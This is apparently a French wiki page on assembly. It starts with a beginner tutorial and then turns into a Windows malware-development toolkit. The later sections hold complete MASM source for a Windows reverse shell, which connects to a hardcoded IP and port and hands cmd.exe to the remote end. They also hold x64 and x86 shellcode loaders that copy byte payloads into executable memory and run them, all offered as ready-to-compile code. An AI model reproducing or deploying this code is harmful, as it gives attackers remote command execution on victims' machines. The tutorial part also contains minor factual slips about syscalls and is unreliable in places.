# Assembleur

\#Terminado

# [ASM] Kit de base

## Introduction

Le **langage d'assembleur** est le langage le plus bas-niveau et le plus proche du langage machine.

Cependant, contrairement aux autres langage, chaque **architecture** possède son **jeu d'instruction** et donc son propre langage d'assembleur.

Ce cours traitera essentiellement de l'architecture **Intel** et peut-être **AT&amp;T**.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/scaled-1680-/YZAimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/YZAimage.png)

## Installation d'un assembleur (nasm)

#### Linux

Pour installer **nasm** sur Debian :

```bash
sudo apt install -y nasm build-essential
```

## Registres  


#### Registres de données

Un registre de données permet de stocker 16 bits soit 2 octets avec les bits forts placés à gauche et les bits faibles à droite.

<table border="1" id="bkmrk-nom-raccourcis-nom-c" style="border-collapse: collapse; width: 100%; height: 149px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**Nom raccourcis**  
</td><td class="align-center" style="height: 29.8px;">**Nom complet**  
</td><td class="align-center" style="height: 29.8px;">**Fonction**  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">AX  
</td><td class="align-center" style="height: 29.8px;">Accumulator  
</td><td class="align-center" style="height: 29.8px;">Opérations arithmétiques et d'entrées/sorties.  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">BX  
</td><td class="align-center" style="height: 29.8px;">Base register  
</td><td class="align-center" style="height: 29.8px;">Adressage mémoire.  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">CX  
</td><td class="align-center" style="height: 29.8px;">Count register  
</td><td class="align-center" style="height: 29.8px;">Compteur de boucle.  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">DX  
</td><td class="align-center" style="height: 29.8px;">Data register  
</td><td class="align-center" style="height: 29.8px;">Extension d'AX.</td></tr></tbody></table>

#### Registre d'états

Ce type de registre contient des flags permettant de suivre des états.

## Sections

#### Data

C'est ici que nos constantesseront définies dans le code commae dans l'exemple ci-dessous :

```
SECTION .data
msg     db      'Hello world!', 0Ah
```

<p class="callout info">La valeur **0A** correspond au caractère **\\n** et le **h** spécifie qu'il s'agit d'une valeur hexadécimale.  
</p>

#### Text

C'est ici que nous définissons le point d'entrée (le label qu'il faut lancer pour démarrer le programme) :

```
SECTION .text
global _start
```

## Convention d'appel

Voici la liste des registres et leur utilité lors de l'appel à vos fonctions :

<table id="bkmrk-arch-syscall-nr-retu"><thead><tr><th class="align-center">arch</th><th class="align-center">syscall NR</th><th class="align-center">return</th><th class="align-center">arg0</th><th class="align-center">arg1</th><th class="align-center">arg2</th><th class="align-center">arg3</th><th class="align-center">arg4</th><th class="align-center">arg5</th></tr></thead><tbody><tr><td class="align-center">arm</td><td class="align-center">r7</td><td class="align-center">r0</td><td class="align-center">r0</td><td class="align-center">r1</td><td class="align-center">r2</td><td class="align-center">r3</td><td class="align-center">r4</td><td class="align-center">r5</td></tr><tr><td class="align-center">arm64</td><td class="align-center">x8</td><td class="align-center">x0</td><td class="align-center">x0</td><td class="align-center">x1</td><td class="align-center">x2</td><td class="align-center">x3</td><td class="align-center">x4</td><td class="align-center">x5</td></tr><tr><td class="align-center">x86</td><td class="align-center">eax</td><td class="align-center">eax</td><td class="align-center">ebx</td><td class="align-center">ecx</td><td class="align-center">edx</td><td class="align-center">esi</td><td class="align-center">edi</td><td class="align-center">ebp</td></tr><tr><td class="align-center">x86\_64</td><td class="align-center">rax</td><td class="align-center">rax</td><td class="align-center">rdi</td><td class="align-center">rsi</td><td class="align-center">rdx</td><td class="align-center">r10</td><td class="align-center">r8</td><td class="align-center">r9</td></tr></tbody></table>

## Libc

En architecture Intel x86, selon la convention d'appel, nous devons procédé comme suit pour afficher **"Hello world"** à l'écran :

```
_start:
        MOV eax, 4   ; Appel à SYS_WRITE (OPCODE 4 définit dans la libc)
        MOV ebx, 1   ; La valeur 1 correspond à la sortie standard STDOUT
        MOV ecx, msg ; Met le contenu de la constante msg dans le registre ecx
        MOV edx, 13  ; Indique la taille de la chaîne de caractère incluant le null byte (ici 13)
        INT 80h      ; Lance une interruption de la libc pour exécuter nos instructions
```

Voici comment fermer un programme proprement avec la libc :

```
_start:
        ; Close program
        MOV eax, 1 ; Appel à SYS_CLOSE dans la libc (OPCODE 1) 
        MOV ebx, 0 ; Code de retour 0
        INT 80h
```

## Les jeux d'instructions

<table border="1" id="bkmrk-instructions-descrip" style="border-collapse: collapse; width: 100%; height: 378.2px;"><colgroup><col style="width: 50.0618%;"></col><col style="width: 50.0618%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**Instructions**  
</td><td class="align-center" style="height: 29.8px;">**Descriptions**  
</td></tr><tr style="height: 46.6px;"><td class="align-center" style="height: 46.6px;">**MOV**  
</td><td class="align-center" style="height: 46.6px;">Déplace une valeur dans un registre sous le format suivant : MOV dst, src  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**CALL**  
</td><td class="align-center" style="height: 29.8px;">Fait appel à une subroutine (fonction)  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**INT**  
</td><td class="align-center" style="height: 29.8px;">Fait une interruption (pour appeler la libc)  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**PUSH**  
</td><td class="align-center" style="height: 29.8px;">Pousse une valeur sur la stack  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**POP**  
</td><td class="align-center" style="height: 29.8px;">Retire une valeur de la stack (format LIFO)  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**SUB**  
</td><td class="align-center" style="height: 29.8px;">Effectue une soustraction entre deux adresses  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**ADD**  
</td><td class="align-center" style="height: 29.8px;">Effectue une addition entre deux adresses  
</td></tr><tr style="height: 29.8px;"><td class="align-center" style="height: 29.8px;">**CMP**</td><td class="align-center" style="height: 29.8px;">Compare deux valeurs</td></tr><tr style="height: 46.6px;"><td class="align-center" style="height: 46.6px;">**JE**  
</td><td class="align-center" style="height: 46.6px;">"Jump if Equal". Se rend sur la routine ou le label indiqué si les deux valeurs comparées sont identiques.  
</td></tr><tr><td class="align-center" style="height: 46.6px;">**JZ**  
</td><td class="align-center" style="height: 46.6px;">"Jump if the Zero flag is set". Se rend sur la routine ou le label indiqué si le flag zero est définit.  
</td></tr><tr><td class="align-center">**JMP**  
</td><td class="align-center">Saute à la routine ou au label mentionné.   
</td></tr><tr><td class="align-center">**INC**</td><td class="align-center">Incrémente une valeur ou une adresse.</td></tr><tr style="height: 46.6px;"><td class="align-center">**RET**</td><td class="align-center">Définit la fin d'une fonction.</td></tr></tbody></table>

## Arguments

Les arguments sont passés sur la stack de sorte à ce que les derniers éléments posés sur la stack soit le **nombre d'argument**, l**e nom de l'exécutable**, le **premier argument**, le **deuxième** etc.

# [ASM] Windows Toolkit

## Introduction

Cette page va vous donner toutes les ressources nécessaires pour préparer votre envrionnement de développement de Malware sur Windows 10.

## Outils

- **Visual Studio** avec la suite de "<span style="text-decoration: underline;">Développement desktop en C++</span>" (SDK).
- [**x64dbg**](https://sourceforge.net/projects/x64dbg/) (pour débugger).
- **IDA Freeware**.

## Script de compilation

#### x64

```powershell
@echo off
set /p prog=[+] program name (without extension):
"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.39.33519\bin\Hostx64\x64\ml64.exe" ^
    %prog%.asm /link /subsystem:windows ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\ntdll.lib" ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\kernel32.lib" ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\user32.lib" ^
    /entry:Start ^
    /LARGEADDRESSAWARE:NO ^
    /out:%prog%.exe ^
    /RELEASE
del %prog%.obj
del *.lnk
pause
```

#### x32

```powershell
@echo off
set /p prog=[+] program name (without extension):
"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.43.34808\bin\Hostx64\x86\ml.exe" ^
    %prog%.asm /link /subsystem:windows ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\ntdll.lib" ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\kernel32.lib" ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\user32.lib" ^
    /defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\Ws2_32.lib" ^
    /entry:Start ^
    /LARGEADDRESSAWARE:NO ^
    /out:%prog%.exe ^
    /RELEASE
del %prog%.obj
del *.lnk
pause
```

<p class="callout warning">Vérifiez les chemins en remplaçant les numéros de version puis ajoutez vos DLL si besoin avec l'argument **defaultlib** .</p>

## Hello world

Voici un hello world pour vérifier que la compilation fonctionne correctement :

```
extrn MessageBoxA :PROC
extrn ExitProcess :PROC

.data
	msg DB "Hello world", 0
	caption DB "Caption", 0

.code
Start PROC
	sub rsp, 28h
	XOR rcx, rcx
	LEA rdx, msg
	LEA r8, caption
	XOR r9, r9
	CALL MessageBoxA
	CALL ExitProcess
Start ENDP

End
```

# [ASM] Windows reverse shell

## Code

<p class="callout warning">Remplacer l'**IP** et le **port** au format Little Endian.</p>

```
extrn ExitProcess :PROC

extrn WSAStartup :PROC
extrn WSASocketA :PROC
extrn WSAConnect :PROC
extrn CreateProcessA :PROC

; Définir les valeurs de longueur manquantes
WSADESCRIPTION_LEN equ 256
WSASYS_STATUS_LEN equ 128

sockaddr_in STRUC
    sin_family WORD ?
    sin_port WORD ?
    sin_addr DWORD ?
    sin_zero BYTE 8 DUP (?)
sockaddr_in ENDS

_wsadata STRUC
    wVersion WORD ?
    wHighVersion WORD ?
    szDescription BYTE (WSADESCRIPTION_LEN + 1) DUP (?)
    szSystemStatus BYTE (WSASYS_STATUS_LEN + 1) DUP (?)
    iMaxSockets WORD ?
    iMaxUdpDg WORD ?
    IpVendorInfo QWORD ?
_wsadata ENDS

_startupinfoa STRUC
    cb DWORD ?
    align_1 BYTE 4 dup (?)
    IpReserved QWORD ?
    IpDesktop QWORD ?
    IpTitle QWORD ?
    dwX DWORD ?
    dwY DWORD ?
    dwXSize DWORD ?
    dwYSize DWORD ?
    dwXCountChars DWORD ?
    dwYCountChars DWORD ?
    dwFillAttribute DWORD ?
    dwFlags DWORD ?
    wShowWindow WORD ?
    cbReserved2 WORD ?
    align_2 BYTE 4 dup (?)
    lpReserved2 		QWORD ?
    hStdInput 		QWORD ?
    hStdOutput 		QWORD ?
    hStdError 		QWORD ?
_STARTUPINFOA ENDS

_PROCESS_INFORMATION STRUCT
    hProcess 	QWORD ?
    hThread 	QWORD ?
    dwProcessId 	DWORD ?
    dwThreadId 	DWORD ?
_PROCESS_INFORMATION ENDS


.data

    ; WSAData
    WSAData _wsadata <>

    ; WSASocket
    sd DQ ?

    ; CreateProcessA
    SUInfo _STARTUPINFOA <>
    PrcInfo _PROCESS_INFORMATION <>

    ; Define IP & Port
    sa sockaddr_in <>
    ip DD 17AA8C0h
    port DW 5C11h

    ; CreateProcessA
    shell_str DB "cmd.exe", 0

.code
Start PROC

; Define sa structs
    MOV sa.sin_family, 2
    MOV ax, port
    MOV sa.sin_port, ax
    MOV eax, [ip]
    MOV sa.sin_addr, eax

; WSAStartup
    sub rsp, 28h

    MOV rcx, 2h
    LEA rdx, [WSAData]
    CALL WSAStartup

; WSASocketA
    sub rsp, 40h

    MOV rcx, 2
    MOV rdx, 1
    MOV r8, 6
    XOR r9, r9
    MOV qword ptr [rsp+20h], 0
    MOV qword ptr [rsp+28h], 0
    CALL WSASocketA
    MOV sd, rax
    ADD rsp, 40

; WSAConnect
    sub rsp, 28h

    MOV rcx, sd
    LEA rdx, sa
    MOV r8, SIZEOF sockaddr_in
    XOR r9, r9
    SUB rsp, 56
    MOV qword ptr [rsp+32], 0
    MOV qword ptr [rsp+40], 0
    MOV qword ptr [rsp+48], 0
    CALL WSAConnect
    ADD rsp, 56

; CreateProcessA
    sub rsp, 50h

    MOV rax, sd
    MOV [SUInfo.hStdInput], rax
    MOV [SUInfo.hStdOutput], rax
    MOV [SUInfo.hStdError], rax
    MOV [SUInfo.cb], SIZEOF _STARTUPINFOA
    MOV [SUInfo.dwFlags], 100h

    XOR rcx, rcx
    LEA rdx, shell_str
    XOR r8, r8
    XOR r9, r9

    MOV qword ptr [rsp+20h], 1
    MOV qword ptr [rsp+28h], 0
    MOV qword ptr [rsp+30h], 0
    MOV qword ptr [rsp+38h], 0
    LEA rax, SUInfo
    MOV qword ptr [rsp+40h], rax
    LEA rax, PrcInfo
    MOV qword ptr [rsp+48h], rax
    CALL CreateProcessA
    ADD rsp, 50h

Start ENDP
End
```

# [ASM] Windows shellcode loader

## Shellcode loader

#### x64 bits

```asm
extrn VirtualAlloc :PROC
extrn GetCurrentProcess :PROC
extrn WriteProcessMemory :PROC

.data
    shellcode DB 48h,31h,0c9h,48h,81h,0e9h,0feh,0ffh,0ffh,0ffh,48h,8dh,05h
    DB 0efh,0ffh,0ffh,0ffh,48h,0bbh,7dh,5dh,14h,08h,0adh,48h,33h
    DB 0cfh,48h,31h,58h,27h,48h,2dh,0f8h,0ffh,0ffh,0ffh,0e2h,0f4h
    DB 0edh,0cdh,84h,98h,3dh,0d8h,0a3h,5fh,0edh,0cdh,84h,98h,0adh
    DB 48h,33h,0cfh
    shellcode_end DB 0
    shellcode_len DQ ?
    hProcess DQ ?
    baseAddr DQ ?

.code
Start PROC
    SUB rsp, 28h

    XOR rcx, rcx
    MOV rdx, 100h
    MOV r8, 1000h
    MOV r9, 40h
    CALL VirtualAlloc
    MOV baseAddr, rax

    CALL GetCurrentProcess
    MOV hProcess, rax

    MOV rcx, hProcess
    MOV rdx, baseAddr
    LEA rax, shellcode
    LEA rbx, shellcode_end
    SUB rbx, rax
    MOV shellcode_len, rbx
    LEA r8, shellcode
    MOV r9, shellcode_len
    SUB rsp, 40
    MOV qword ptr [rsp+32], 0
    CALL WriteProcessMemory
    ADD rsp, 40

    CALL baseAddr

Start ENDP
END
```

#### x32 bits

```
.model flat, stdcall

VirtualAlloc PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD
GetCurrentProcess PROTO STDCALL
WriteProcessMemory PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD, :DWORD

.data
    shellcode DB 0b8h,0eeh,17h,0ddh,0c1h,0d9h,0c5h,0d9h,74h,24h,0f4h,5eh,29h
    DB 0c9h,0b1h,04h,83h,0c6h,04h,31h,46h,0eh,03h,0a8h,19h,3fh
    DB 34h,0a4h,0b6h,2fh,27h,54h,26h,0dfh,0d8h,0c4h,0d7h,70h,48h
    DB 48h,33h,0cfh
    shellcode_end DB 0
    hProcess DD ?
    baseAddr DD ?

.code
Start PROC
    PUSH 40h
    PUSH 1000h
    PUSH 100h
    PUSH 0
    CALL VirtualAlloc
    MOV baseAddr, eax

    CALL GetCurrentProcess
    MOV hProcess, eax

    PUSH 0
    PUSH SIZEOF shellcode
    PUSH OFFSET shellcode
    PUSH baseAddr
    PUSH hProcess
    CALL WriteProcessMemory

    CALL baseAddr

Start ENDP
END
```